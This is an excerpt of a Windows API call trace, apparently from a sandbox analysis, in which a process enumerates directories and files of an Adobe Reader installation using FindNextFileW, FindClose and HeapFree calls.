	[0168.096] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d03e32, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d03e32, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0
	[0168.096] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0168.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0168.097] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1
	[0168.100] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0168.100] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1
	[0168.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.680] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0
	[0168.680] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0168.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.680] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1
	[0168.681] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.681] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1
	[0168.681] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.681] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1
	[0168.682] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.682] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1
	[0168.683] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.683] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 0
	[0168.683] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0168.683] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.683] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1
	[0168.683] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.683] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0
	[0168.683] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0168.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.684] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1
	[0168.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.684] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1
	[0168.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.684] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0
	[0168.684] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0168.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.684] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1
	[0168.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.684] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en_US", cAlternateFileName="")) returned 0
	[0168.684] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0168.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.684] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1
	[0168.685] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0168.685] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0
	[0168.685] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0168.685] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.685] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AcroForm.api", cAlternateFileName="")) returned 1
	[0168.686] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0168.686] FindNextFileW (in: hFindFile=0x4141018, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Words.pdf", cAlternateFileName="")) returned 1
	[0168.686] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0168.686] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0
	[0168.686] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0168.686] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.686] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Annots.api", cAlternateFileName="")) returned 1
	[0168.686] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0168.686] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 0
	[0168.686] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0168.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.687] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1
	[0168.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.687] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PPKLite.api", cAlternateFileName="")) returned 1
	[0168.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.688] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1
	[0168.689] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.689] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="prcr.x3d", cAlternateFileName="")) returned 1
	[0168.689] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.689] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1
	[0168.730] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.730] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIThemes", cAlternateFileName="")) returned 1
	[0168.731] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.731] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b050b7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1
	[0168.739] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0168.739] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0168.739] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0168.739] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0
	[0168.740] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0168.740] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0168.740] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0168.740] FindClose (in: hFindFile=0x4140fd8 | out: hFindFile=0x4140fd8) returned 1
	[0168.740] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0168.740] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1
	[0168.741] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0168.741] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0168.742] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0168.742] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0
	[0168.742] FindClose (in: hFindFile=0x4140e18 | out: hFindFile=0x4140e18) returned 1
	[0168.742] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0168.742] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0168.742] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0168.742] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
